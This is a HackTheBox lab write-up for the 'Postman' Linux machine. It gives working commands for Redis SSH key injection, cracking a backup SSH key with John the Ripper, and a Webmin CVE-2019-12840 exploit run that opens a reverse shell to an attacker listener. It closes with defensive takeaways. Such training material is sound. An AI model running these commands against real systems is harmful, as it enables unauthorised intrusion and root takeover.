HackTheBox - Postman Writeup

Difficulty: Easy
OS: Linux
Tags: Redis, SSH Key Injection, John the Ripper, Webmin, CVE-2019-12840

Summary

Postman is a Linux machine with an unauthenticated Redis instance exposed on a non-default port. Writing a public SSH key directly into Redis and saving it as authorized_keys gives initial access as the redis user. Manual enumeration uncovers a backup SSH private key belonging to another user, whose passphrase is cracked with John the Ripper. That account has valid credentials for a Webmin 1.910 instance running as root, which is vulnerable to an authenticated RCE exploit (CVE-2019-12840), leading to a root shell.

Reconnaissance

Starting with a standard Nmap scan:

sudo nmap -sC -sV 10.129.62.213

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Cyber Geek's Personal Website
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)

Three ports initially. The HTTP title on port 80 reveals this is a personal site, and port 10000 is running Webmin 1.910 - quite an old version, worth flagging for later.

A domain is visible in the page. Adding postman.htb to /etc/hosts and running a full port scan reveals something the initial scan missed:

sudo nmap -sC -sV -A -p- 10.129.62.213
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu
80/tcp open http Apache httpd 2.4.29
6379/tcp open redis Redis key-value store 4.0.9
10000/tcp open http MiniServ 1.910 (Webmin httpd)

Redis is running on port 6379. This nearly got missed by only running a default scan - a good reminder to always scan all ports.

Directory and virtual host fuzzing on the web server turn up nothing interesting:

gobuster dir -u http://postman.htb/ -w ~/SecLists/Discovery/Web-Content/directory-list-1.0.txt
/images (Status: 301)
/upload (Status: 301)
/css (Status: 301)
/js (Status: 301)

The upload directory looks promising but only contains static assets for the site. No virtual hosts found with ffuf either. Redis becomes the focus.

Foothold - SSH Key Injection via Unauthenticated Redis

Connecting to Redis requires no authentication at all:

redis-cli -h 10.129.62.213
10.129.62.213:6379>

Redis has a well-known attack technique when running unauthenticated and the process has write access to sensitive directories: you can use CONFIG SET to point Redis's persistence file at ~/.ssh/authorized_keys, then write a public SSH key as a Redis value, and SAVE to flush it to disk. This effectively plants your own SSH key on the server.

Generating a keypair and writing it into Redis with padding newlines to avoid corrupting the authorized_keys format:

redis-cli -h 10.129.62.213 -x set ssh_key < redis_key_formatted.txt
redis-cli -h 10.129.62.213 CONFIG SET dir /var/lib/redis/.ssh
redis-cli -h 10.129.62.213 CONFIG SET dbfilename authorized_keys
redis-cli -h 10.129.62.213 SAVE

Then SSH in as the redis user using the corresponding private key:

ssh -i redis_key [email protected]
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)
redis@Postman:~$

Initial access as redis.

Lateral Movement - Cracking a Backup SSH Key

Running LinPEAS on the box does not surface anything dramatic, but manual enumeration does. There is another user on the box called Matt whose home directory contains user.txt, but the redis user has no permission to read it.

Searching for interesting files manually:

find / -name "*.bak" 2>/dev/null

This turns up /opt/id_rsa.bak - a backup of an SSH private key. The key is passphrase-protected, so it gets copied off the box with scp and fed to ssh2john to extract a crackable hash:

python3 ./ssh2john.py id_rsa.bak > matt_hash
john --wordlist=/home/r3v/Wordlists/rockyou.txt matt_hash
computer2008 (id_rsa.bak)
1g 0:00:00:00 DONE (2026-08-27 21:38) 6.667g/s 1645Kp/s

The passphrase cracks almost instantly. Back on the box, su Matt with the cracked passphrase works - the password was reused directly. User flag claimed from Matt's Desktop.

Privilege Escalation - Webmin CVE-2019-12840

Checking running processes:

ps aux | grep root
root 769 /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf

Webmin is running as root. Version 1.910 is vulnerable to CVE-2019-12840, an authenticated RCE via the package update functionality. Since Matt's credentials work on the Webmin login page (port 10000), this is directly exploitable.

Using a public PoC (https://github.com/KrE80r/webmin_cve-2019-12840_poc):

sudo python3 CVE-2019-12840.py
-u https://10.129.62.213
-U Matt
-P
-lhost 10.10.15.93
-lport 443
[] logging in ...
[+] got sid 88f5776e75d2379a7cb515c9246dc0e2
[] sending command python -c "import base64;exec(base64.b64decode(...))"

With a listener ready:

sudo nc -lvnp 443
Connection received on 10.129.62.213 57112
/bin/sh: 0: can't access tty; job control turned off

whoami

root

Root shell obtained from the Webmin install directory. From there it is a straight path to the root flag.

Key Takeaways
Always scan all ports. The default Nmap scan missed Redis entirely. A -p- full port scan is essential - a single missed service can be the entire attack surface.
Unauthenticated Redis is a critical misconfiguration. When Redis is exposed without authentication and the process has filesystem write access, SSH key injection is a reliable and well-documented foothold technique. Redis should never be exposed without authentication, and never bound to a public interface without a firewall rule in front of it.
Backup files are a common credential source. The id_rsa.bak in /opt/ is a classic example of a developer leaving sensitive material in an unprotected location. Searching for .bak, .old, and similar extensions during enumeration is always worth the effort.
Password reuse between SSH keys and system accounts is dangerous. Cracking the key passphrase and having it work directly as a su password is a direct consequence of reuse.
Old software versions on privileged services are a fast path to root. Webmin 1.910 had a publicly known, weaponised RCE exploit available. Keeping administrative interfaces patched and off public-facing ports is essential.